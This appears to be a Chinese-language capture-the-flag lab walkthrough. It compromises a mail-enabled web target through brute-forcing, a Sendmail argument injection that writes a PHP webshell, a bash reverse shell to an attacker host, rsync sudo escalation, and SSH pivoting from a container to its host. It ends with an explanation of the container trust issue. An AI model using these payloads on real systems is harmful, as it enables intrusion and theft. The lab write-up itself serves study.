1. 目录扫描

使用 dirsearch 扫描网站目录:

1
dirsearch -u http://192.168.197.143/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-20261022124120235

2. 账号爆破

使用 hydra 爆破:

1
hydra -L ./reports/user.txt -P /usr/share/wordlists/rockyou.txt 192.168.197.143 http-get /zmail -e nsr

image-20261022124902990

image-20261022130457954

3. 漏洞利用与 GetShell

登录后进入页面进行邮件发送:

image-20261022134755224

然后抓包修改内容,利用 Sendmail 写入 Webshell:

image-20261022134809570

1
2
_from=p48%40powergrid+-OQueueDirectory%3D%2Ftmp+-X%2Fvar%2Fwww%2Fhtml%2Frce.php
_subject=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E

测试是否成功执行命令:

1
curl -s 'http://192.168.197.143/g.php?cmd=id' | grep 'uid='

image-20261022134900553

开始反弹 shell:

image-20261022134937201

本地监听:

1
nc -lvnp 4444

浏览器访问执行 Payload 反弹 shell:

1
2
3
http://192.168.197.143/g.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.197.10%2F4444%200%3E%261%27

http://192.168.197.143/g.php?cmd=bash -c 'bash -i >& /dev/tcp/192.168.197.xxxx/4444 0>&1'

浏览器输入即可:

image-20261022135410271

第一个 flag 在网站根目录下,提示有内网环境:

1
flag1{fbd5cd83c33d2022ce012d1a306c27ae}

也可以蚁剑连接:

1
2
echo '<?php @eval($_POST["ant"]);?>' > /var/www/html/a.php
cat /var/www/html/a.php

image-20261022135824210

4. GPG 解密与登录

在 p48 用户目录下发现用于 GPG 解密的私钥 (privkey.gpg)。

突然发现我知道 p48 账号密码了,直接就可以走 SSH 连进来了:

进去之后将邮箱中的 GPG 秘钥复制到靶机中,然后将秘钥和 privkey.gpg 一起下载到 Kali 中进行解密:

1
2
3
gpg --batch --pinentry-mode loopback --passphrase electrico --import privkey.gpg
gpg --batch --pinentry-mode loopback --passphrase electrico --decrypt sun.gpg > id_rsa
chmod 600 id_rsa

将文件放在 home 中进行解析使用:

image-20261022145900187

给文件权限:

1
chmod 600 id_rsa

image-20261022150236541

就可以直接访问:

image-20261022150254510

获得 flag2:

1
047ddcd1d33dfb7d80da3ce04e89df73

5. 权限提升

然后进行提权,使用 sudo -l 查看发现可以使用 rsync:

1
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

执行后输入 bash 进入正常 shell,查看 flag3 即可。

6. 内网与容器逃逸分析

继续进入 172.17.0.1 中:

1
2
3
4
ls -la /root/.ssh/
head -1 /root/.ssh/id_rsa
chmod 600 /root/.ssh/id_rsa
ssh -o StrictHostKeyChecking=no -i /root/.ssh/id_rsa root@172.17.0.1

获取 flag4:

1
f5afaf46ede1dd5de76eac1876c60130

image-20261022151850124

条件 谁提供的 作用
① 容器 root 能读 /root/.ssh/id_rsa 容器内的权限设计 拿到一把 SSH 私钥
② 宿主机 root 的 authorized_keys 里有这把钥匙对应的公钥 题目作者故意留的配置 让这把钥匙能登录宿主机 root

两个条件缺一不可。p48 也能 SSH 到 172.17.0.1,但:

  • p48 读不了 /root/.ssh/id_rsa(/root 是 700,只有 root 能进);
  • 就算 p48 拿到别的钥匙,宿主机也不认。

所以 rsync 提权的意义是让你有权读 /root,并非“突破容器”。

容器 root 和宿主机 root 的区别

1
2
3
容器: 独立 PID / mount / network / user namespace
├─ root 在容器里 = 容器内的超级用户
└─ 但看不到宿主机的 /root、/etc/shadow、进程

正常情况下,即使你在容器里是 root,执行 cat /root/flag4 也只是看容器的 /root,和宿主机的 /root 完全是两个目录。这题能过去,纯粹是因为宿主机自己把 SSH 信任给了容器。